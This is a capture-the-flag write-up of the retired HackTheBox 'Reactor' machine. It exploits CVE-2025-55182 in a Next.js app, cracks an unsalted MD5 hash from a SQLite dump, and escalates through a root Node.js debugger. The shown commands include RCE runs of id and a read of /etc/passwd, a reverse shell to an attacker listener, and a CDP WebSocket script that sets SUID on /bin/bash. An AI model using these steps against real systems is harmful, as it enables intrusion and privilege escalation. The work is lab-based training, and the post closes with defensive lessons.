Post

Reactor (Retired Box)

Reactor (Retired Box)

Box Info

FieldDetail
NameReactor
OSLinux (Ubuntu 24.04)
DifficultyEasy
IP10.129.10.253
Release2026
CVEsCVE-2025-55182, CVE-2025-66478

Overview

The attack surface is an open SSH port and a Next.js application running on port 3000. Initial access comes via CVE-2025-55182 (React2Shell), a CVSS 10.0 unauthenticated RCE in the React Server Components Flight protocol deserializer. From there I’ll enumerate the application directory, extract a SQLite database, crack an unsalted MD5 hash, and SSH in as engineer. Privilege escalation exploits a root-owned Node.js process running with --inspect bound to localhost, which I’ll reach via SSH port forwarding and exploit using the Chrome DevTools Protocol to set the SUID bit on /bin/bash.


Recon

Initial Scanning

I’ll start with nmap across all ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ sudo nmap -p- 10.129.10.253 --min-rate 10000 -v
[sudo] password for sicario: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-30 10:06 WAT
Nmap scan report for 10.129.10.253
Host is up (0.27s latency).
<SNIP>
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.54 seconds
           Raw packets sent: 432099 (19.012MB) | Rcvd: 63758 (2.550MB)

Then probe the confirmed open ports for service and version detail.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/reactor]
└─$ sudo nmap -p 22,3000 -sCV -oN nmap/reactor.txt 10.129.10.253
[sudo] password for sicario: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-30 10:06 WAT
Nmap scan report for 10.129.10.253
Host is up (0.27s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sat, 30 May 2026 09:05:30 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sat, 30 May 2026 09:05:32 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sat, 30 May 2026 09:05:33 GMT
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=5/30%Time=6A1AA8A4%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,341C,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Sat,\x2030\x20May\x202026\x2009:05:30\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Sat,
SF:\x2030\x20May\x202026\x2009:05:32\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Sat,\x2030\x20May\x202026\x2009:05:33\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.82 seconds

Two ports. Port 22 is OpenSSH 9.6p1 on Ubuntu 24.04 Noble β€” nothing to poke until we have creds. Port 3000 is the interesting one: the X-Powered-By: Next.js header and all those /_next/static/ chunk references in the response body confirm a Next.js application. The x-nextjs-prerender: 1 header means SSR is active. The x-nextjs-stale-time: 4294967294 value is 2^32 - 2, a default β€œcache forever” config that signals no custom hardening.


Web Enumeration

Browsing to port 3000 reveals ReactorWatch, a fake nuclear core monitoring dashboard for β€œNuclear Dynamics Corp., Facility SITE-7”. The UI is largely static, displaying reactor telemetry and a personnel list: Dr. Elena Rodriguez, Marcus Kim, and James Thompson. Interesting potential usernames, but there is no login form visible on the landing page.

ReactorWatch dashboard

Wappalyzer confirms Next.js 15.0.3 and React. That version number immediately stands out.

Wappalyzer fingerprint showing Next.js 15.0.3

Next.js 15.0.3 falls squarely in the vulnerable range for CVE-2025-55182. The patch didn’t land until 15.0.5.


Foothold

CVE-2025-55182 β€” React2Shell (CVSS 10.0)

CVE-2025-55182, dubbed React2Shell, is a critical unauthenticated RCE vulnerability in the React Server Components Flight protocol deserializer. The flaw lies in how React processes RSC payloads: a specially crafted multipart form-data request containing a circular JSON structure abuses the deserialization process to pollute the prototype chain. The traversal string $1:constructor:constructor causes the server to resolve the JavaScript Function constructor, which is then invoked with attacker-controlled code, resulting in direct RCE. No authentication required, no prior misconfiguration needed β€” a default Next.js production app is exploitable out of the box.

Affected versions: React 19.0.0 through 19.2.0 / Next.js 14.3.0-canary.77 through 15.0.4.

I’ll use p3ta00/react2shell-poc to exploit this. The tool exfiltrates command output directly via the NEXT_REDIRECT error in the HTTP response β€” no callback server needed.

1
2
3
4
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ git clone https://github.com/p3ta00/react2shell-poc.git
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor/react2shell-poc]
└─$ pip install requests --break-system-packages

RCE confirmation:

1
2
3
4
5
6
7
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor/react2shell-poc]
└─$ python3 react2shell-poc.py -t http://10.129.10.253:3000 -c "id"
[*] Sending error-exfil payload...
[+] Command output:
────────────────────────────────────────────────────────────
uid=999(node) gid=988(node) groups=988(node)
────────────────────────────────────────────────────────────

We’re executing as the node service account. I’ll enumerate the system to orient myself:

1
2
3
4
5
6
7
8
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor/react2shell-poc]
└─$ python3 react2shell-poc.py -t http://10.129.10.253:3000 -c "cat /etc/passwd | grep -v nologin"
[+] Command output:
────────────────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
[snip]
────────────────────────────────────────────────────────────

One real user with a shell: engineer. That’s the lateral move target. I’ll upgrade to a proper reverse shell for easier interaction:

1
2
3
4
5
6
7
# Listener
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ rlwrap -cAr nc -lnvp 4444

# Payload
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor/react2shell-poc]
└─$ python3 react2shell-poc.py -t http://10.129.10.253:3000 --revshell --lhost 10.10.16.35 --lport 4444

Shell catches. Upgrading with pty:

1
2
3
4
5
node@reactor:/opt/reactor-app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ stty raw -echo; fg
node@reactor:/opt/reactor-app$ export TERM=xterm

Database Extraction

The working directory is /opt/reactor-app and reactor.db is sitting right there:

1
2
node@reactor:/opt/reactor-app$ ls
app  next.config.js  node_modules  package.json  package-lock.json  reactor.db
1
node@reactor:/opt/reactor-app$ sqlite3 reactor.db '.dump'
1
2
3
4
5
6
7
8
9
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
);
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');

Two accounts, both with unsalted MD5 hashes. MD5 with no salt is trivially reversible via lookup tables. CrackStation resolves 39d97110eafe2a9a68639812cd271e8e in seconds:

engineer : reactor1

CrackStation cracking the engineer MD5 hash


User Flag

1
2
3
4
5
6
7
8
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ ssh engineer@10.129.10.253
engineer@10.129.10.253's password: reactor1

engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
[flag]

Privilege Escalation

Discovering the Node.js Debugger

No sudo rights for engineer. I’ll check running processes for any privileged services:

1
2
3
engineer@reactor:~$ ps aux | grep node
node    1413  8.2  2.8 11809820 112912 ?  Ssl  08:58  next-server (v15.0.3)
root    1415  0.0  1.1 1066460  45824  ?  Ssl  08:58  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

There it is. Root is running a Node.js process with --inspect=127.0.0.1:9229. The --inspect flag enables the Chrome DevTools Protocol (CDP) debugger, which allows any attached client to evaluate arbitrary JavaScript inside the process. Since the process is owned by root, any code we inject executes as root.

The debugger is bound to 127.0.0.1 β€” only reachable locally. I’ll tunnel it out via SSH port forwarding.

SSH Tunnel + Chrome DevTools Protocol Exploitation

Step 1 β€” Forward port 9229 to Kali:

1
2
β”Œβ”€β”€(sicarioγ‰Ώkali)-[~/HacktheBox/Reactor]
└─$ ssh -L 9229:127.0.0.1:9229 engineer@10.129.10.253

Step 2 β€” Attach via Chromium:

Navigate to chrome://inspect, click Configure, add localhost:9229. The root Node process (/opt/uptime-monitor/worker.js, pid=1415) appears under Remote Target. Click inspect to open a DevTools console attached to the root process.

Chrome DevTools attached to root Node.js process on localhost:9229

Step 3 β€” Execute code as root:

In the DevTools Console:

1
require('child_process').execSync('chmod u+s /bin/bash').toString()

This runs chmod u+s /bin/bash inside the root-owned process, setting the SUID bit on /bin/bash.

Alternative β€” Node.js WebSocket client (no browser required):

1
2
3
4
5
6
7
8
9
10
11
const WebSocket = require('ws');
fetch('http://127.0.0.1:9229/json').then(r => r.json()).then(targets => {
  const ws = new WebSocket(targets[0].webSocketDebuggerUrl);
  ws.on('open', () => {
    ws.send(JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: 'require("child_process").execSync("chmod u+s /bin/bash").toString()' }
    }));
  });
});

The CDP /json endpoint returns the WebSocket debugger URL for the running process. Connecting to it gives full Runtime.evaluate access β€” equivalent to the browser DevTools console.

Step 4 β€” Spawn a root shell:

1
2
3
4
5
engineer@reactor:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

engineer@reactor:~$ /bin/bash -p
bash-5.2#

The s in the owner execute position confirms the SUID bit is set. bash -p launches bash with the file owner’s effective UID (root) rather than the caller’s.


Root Flag

1
2
bash-5.2# cat /root/root.txt
[flag]

Tools Used

ToolPurpose
nmapService and version detection
masscanFull port range discovery
WappalyzerFramework fingerprinting (Next.js 15.0.3)
react2shell-pocCVE-2025-55182 RCE exploitation
sqlite3Database extraction
CrackStationMD5 hash lookup
SSH port forwardingTunnel localhost:9229 to attacker machine
Chrome DevTools (CDP)Attach to root Node.js debugger, inject JS

Key Takeaways

  • CVE-2025-55182 is trivially exploitable on default Next.js configs. No authentication, no misconfiguration, no special setup required. If you see Next.js 15.x below 15.0.5 or React 19.0.x through 19.2.0 in the wild, assume RCE is one request away. Patch or block RSC endpoints immediately.
  • Unsalted MD5 is not a password hash. It is a lookup table entry. reactor1 fell in under a second on CrackStation. Any application storing credentials as raw MD5 in 2026 is functionally storing them in plaintext. Use bcrypt, argon2, or scrypt with a unique per-user salt.
  • --inspect on a production process is a root shell waiting to happen. The Node.js debugger was designed for development. Binding it to 127.0.0.1 is not sufficient protection if an attacker has any local foothold β€” SSH port forwarding trivially bypasses the localhost restriction. Never run --inspect in production. Use process managers and remove debug flags entirely from production service definitions.

Further Reading

CVEs & Exploits

ReferenceDescription
CVE-2025-55182React Server Components Flight protocol RCE via prototype pollution
CVE-2025-66478Next.js Server Actions RCE inheriting the same deserialization flaw
p3ta00/react2shell-pocPoC exploit used in this walkthrough

Tools & Techniques

ResourceDescription
Chrome DevTools Protocol DocsFull CDP reference including Runtime.evaluate
HackTricks β€” Node.js –inspect RCEPrivilege escalation via Node.js debugger abuse
PayloadsAllTheThings β€” SUIDSUID binary abuse techniques
Wiz β€” React2Shell AnalysisDeep technical breakdown of CVE-2025-55182
This post is licensed under CC BY 4.0 by the author.